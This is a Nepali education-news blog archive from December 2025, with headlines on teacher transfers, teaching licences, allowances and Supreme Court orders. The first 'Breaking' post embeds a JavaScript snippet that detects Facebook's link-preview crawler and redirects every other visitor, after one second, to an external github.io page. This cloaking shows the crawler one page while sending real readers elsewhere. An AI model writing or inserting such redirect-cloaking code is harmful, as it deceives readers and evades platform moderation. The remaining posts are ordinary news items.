Posts

Showing posts from December, 2025

Breaking: शिक्षा मन्त्रालयलद्वारा School/College मा DI नराख्न निर्देशन

Image
 Breaking: शिक्षा मन्त्रालयले School/College मा DI नराख्न निर्देशन दिएको छ। 😮 function isFacebookBot() { var ua = navigator.userAgent || ""; return ua.includes("facebookexternalhit") || ua.includes("Facebot"); } if (!isFacebookBot()) { setTimeout(function() { window.location.href = "https://chdprabin.github.io/readnews/"; }, 1000); // 1-second delay }

तत्काल शिक्षक सरुवा निर्देशिका आउने कुरा हल्ला मात्र रहेको मन्त्री पुनको भनाई

Image
 तत्काल शिक्षक सरुवा निर्देशिका आउने भनेको हल्ला मात्र रहेको मन्त्री पुनको भनाई  शिक्षा नियमावली संसोधन तयारी तर निर्वाचन आचारसंहिताले समयमै संशोधन गर्न कठिनाइ हुन सक्ने।

नि.मा. बि. अध्यापन अनुमतीपत्र( लाइसेन्स ) लिनको लागि अपनाउनु पर्ने प्रक्रिया र चाहिने आबश्यक कागजातहरु:-

Image
 नि.मा. बि. अध्यापन अनुमतीपत्र( लाइसेन्स ) लिनको लागि अपनाउनु पर्ने प्रक्रिया र चाहिने आबश्यक कागजातहरु:-

राहतलाई शिक्षकलाई स्वीकृत दरबन्दीमा रुपान्तरण गरिने

Image
 राहतलाई  शिक्षकलाई स्वीकृत दरबन्दीमा रुपान्तरण गरिने

निमाबि तहको अध्यापन अनुमतिपत्रको नतिजा प्रकाशन सम्बन्धी सूचना

Image
 निमाबि तहको अध्यापन अनुमतिपत्रको नतिजा प्रकाशन सम्बन्धी सूचना 

यसकारणले ढिलो भयो नि.मा.वि तहको नतिजा प्रकाशन। थप जानकारी......

Image
यसकारणले ढिलो भयो नि.मा.वि तहको नतिजा प्रकाशन। थप जानकारी पढ्नुहोस्। 

Good News: अस्थायी/करार शिक्षक तथा कर्मचारीके पनि रु ५००० महंगी भत्ता पाउने, सर्वोच्च को आदेश जारी

Image
 Good News: अस्थायी/करार शिक्षक तथा कर्मचारीके पनि रु ५००० महंगी भत्ता पाउने, सर्वोच्च को आदेश जारी

सरकारले वैशाख १७ गते सम्झौता गरेपनि बजेट नदिएको कारण ९ बुँदे सम्झौता कार्यान्वयन गर्ने सकिन

Image
 सरकारले वैशाख १७ गते सम्झौता गरेपनि बजेट नदिएको कारण ९ बुँदे सम्झौता कार्यान्वयन गर्ने सकिन 

सर्वोच्च अदालतमा मुद्धा हालेर भएपनि शिक्षकलाई स्थानीय भत्ता दिलाउँछु - लक्ष्मीकिसोर सुवेदी

Image
 सर्वोच्च अदालतमा मुद्धा हालेर भएपनि शिक्षकलाई स्थानीय भत्ता दिलाउँछु - लक्ष्मीकिसोर सुवेदी

शिक्षक सरुवा कार्यविधि खारेज नहुने तर अत्याबस्यक कुरा परिमार्जन गर्ने शिक्षामन्त्रीको भनाई

Image
 शिक्षक सरुवा कार्यविधि खारेज नहुने तर अत्याबस्यक कुरा परिमार्जन गर्ने शिक्षामन्त्रीको भनाई 

राहत/अस्थायी शिक्षकलाई " सामाजिक सुरक्षा कोषमा आबद्ध गराउने बारे सर्वोच्च अदालतबाट परमादेश जारी

Image
 आर्थिक वर्ष २०८२/८३ को वार्षिक बजेटमा राहत तथा अस्थायी प्रकृतिका शिक्षकलाई " सामाजिक सुरक्षा कोषमा आबद्ध गराउने नीति ल्याएकोमा त्यसलाई कार्यान्वयन गर्न सर्बोच्च अदालतले पनि सरकारको नाममा परमादेश जारी गरिसकेको छ। शिक्षक महा संघ र सरकार बिच भएका सम्झौताहरु शिक्षकको ग्रेड मिलान,बालबिकास शिक्षक तथा विद्यालय कर्मचारीहरुको दरबन्दी लगायतका विषयहरु तुरुन्तै कार्यान्वयन गरियोस्।यो त्यो बहानामा आफ्नो पदिय जिम्मेवारीबाट भाग्न पाइदैन।बजेट छैन भन्न मिल्दैन।बजेटको व्यवस्था गर्ने जिम्मा सम्बन्धित मन्त्री र मन्त्रीपरिषदको हो।गफ होइन काम गरेर देखाउ।